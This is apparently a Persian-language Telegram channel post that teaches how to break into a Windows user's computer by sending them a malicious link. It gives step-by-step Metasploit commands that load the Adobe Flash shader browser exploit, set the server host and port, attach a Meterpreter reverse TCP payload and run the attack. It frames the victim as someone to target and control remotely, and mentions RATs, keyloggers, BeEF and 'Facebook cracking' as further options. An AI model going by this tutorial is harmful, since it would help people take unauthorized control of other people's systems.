💻#هک با لینک از طریق اسیب پذیری Adobe Flash Player

یکی از راه های نفوذ به به یک سیستم از طریق باز کردن لینک است برای درک بهتر به توضیحات زیر توجه کنید

اگر بخواهیم به سیستم یک کاربر که دارای سیستم عامل ویندوز است نفوذ کنیم راه های زیادی داریم

مانند استفاده از رات ها ، کیلاگر ها ، اسیب پذیری های سیستم عامل و … که این روش ها در اموزش های قبلی توضیح داده شده است

و میتوانید با کمی جستجو در سایت به ان ها دسترسی داشته باشید اما راه دیگری که در این اموزش به ان میپردازیم هک با لینک است

یعنی برای کاربر یک لینک الوده ارسال میکنیم تا با باز کردن ان به سیستم شخص دسترسی پیدا کنیم و بتوانیم دستورات خود را اجرا کنیم

این کار را با استفاده از ابزار معروف و محبوب #متاسپلویت در  کالی لینوکس انجام میدهیم

 

⚠️#نفوذ با لینک به ویندوز

ابتدا Metasploit خود را اجرا کنید

msfconsole

وارد اکسپلویت مرورگر مورد نظر شوید

use exploit/multi/browser/adobe_flash_shader_drawing_fill

نکته : این اکسپلویت با استفاده از اسیب پذیری فلش پلیر کار میکند و باید حتما نسخه اسیب پذیر ان نصب باشد

با دستورات زیر ip خود را ست کنید

set SRVHOST 127.0.0.1

پورت مورد نظر خود را وارد کنید (به صورت پیشفرض ۸۰۸۰ میباشد)

set SRVPORT 6060

در صورتی که بخواهید میتوانید ssl را بر روی true بگذارید تا لینک با https باز شود

  کرک فیسبوک با ابزار Facebash و امنیت

پیلود زیر را ست کنید

set PAYLOAD windows/meterpreter/reverse_tcp

حال با دستور run اکسپلویت را اجرا کنید


یک لینک به شما داده میشود که با ارسال به کاربر مورد نظر و اجرای ان دسترسی #meterpreter خواهید داشت

و میتوانید دستورات خود را برای کنترل سیستم از راه دور وارد نمایید

در صورتی که سیستم کاربر اسیب پذیر نباشد هک با لینک از  این روش جوابگو نخواهد بود

روش های دیگری برای نفوذ با لینک وجود دارد مانند استفاده از ابزار beef که اموزش ویدیو ان را قرار داده ایم و  میتوایند مشاهده کنید

@kali_linuxxx